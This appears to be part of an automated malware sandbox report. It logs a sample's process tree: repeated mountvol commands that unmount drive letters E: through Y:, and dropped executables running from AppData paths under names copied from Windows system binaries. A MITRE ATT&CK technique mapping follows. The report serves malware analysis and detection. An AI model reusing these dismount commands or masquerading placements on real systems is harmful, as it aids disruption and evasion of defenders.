- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" V: /S
  2⤵
  PID:2732
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" V: /D
  2⤵
  - Enumerates connected drives
  PID:3184
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" W: /S
  2⤵
  PID:3084
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" W: /D
  2⤵
  - Enumerates connected drives
  PID:4016
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" X: /S
  2⤵
  PID:4508
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" X: /D
  2⤵
  - Enumerates connected drives
  PID:1772
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Y: /S
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Y: /D
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /S
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" E: /D
  2⤵
  PID:1208
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /S
  2⤵
  PID:3208
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" F: /D
  2⤵
  PID:6036
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /S
  2⤵
  PID:2680
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" G: /D
  2⤵
  - Enumerates connected drives
  PID:3120
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /S
  2⤵
  PID:4580
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" H: /D
  2⤵
  PID:700
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /S
  2⤵
  PID:3920
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" I: /D
  2⤵
  - Enumerates connected drives
  PID:440
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /S
  2⤵
  PID:3440
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" J: /D
  2⤵
  - Enumerates connected drives
  PID:3336
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /S
  2⤵
  PID:8
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" K: /D
  2⤵
  PID:2072
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /S
  2⤵
  PID:3580
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" L: /D
  2⤵
  PID:1576
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /S
  2⤵
  PID:2268
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" M: /D
  2⤵
  PID:3236
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /S
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" N: /D
  2⤵
  - Enumerates connected drives
  PID:3432
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /S
  2⤵
  PID:5944
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" O: /D
  2⤵
  - Enumerates connected drives
  PID:4160
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /S
  2⤵
  PID:6000
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" P: /D
  2⤵
  PID:200
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /S
  2⤵
  PID:3208
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Q: /D
  2⤵
  - Enumerates connected drives
  PID:5752
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /S
  2⤵
  PID:2560
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" R: /D
  2⤵
  PID:4260
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" S: /S
  2⤵
  PID:6132
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" S: /D
  2⤵
  - Enumerates connected drives
  PID:3192
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" T: /S
  2⤵
  PID:2904
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" T: /D
  2⤵
  - Enumerates connected drives
  PID:5636
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" U: /S
  2⤵
  PID:5392
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" U: /D
  2⤵
  - Enumerates connected drives
  PID:1316
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" V: /S
  2⤵
  PID:4236
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" V: /D
  2⤵
  - Enumerates connected drives
  PID:5368
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" W: /S
  2⤵
  PID:4940
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" W: /D
  2⤵
  - Enumerates connected drives
  PID:4664
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" X: /S
  2⤵
  PID:5376
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" X: /D
  2⤵
  - Enumerates connected drives
  PID:5720
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Y: /S
  2⤵
  PID:4564
- C:\Windows\SYSTEM32\mountvol.exe
  "mountvol" Y: /D
  2⤵
  - Enumerates connected drives
  PID:1100

C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe
"C:\Program Files\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:2204

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\StartMenuExperienceHost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\StartMenuExperienceHost.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:5924

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\BackgroundTaskHost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\BackgroundTaskHost.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
PID:4580

C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\WmiPrvSE.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\WmiPrvSE.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:2244

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\dllhost.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Protect\dllhost.exe"
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:3228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry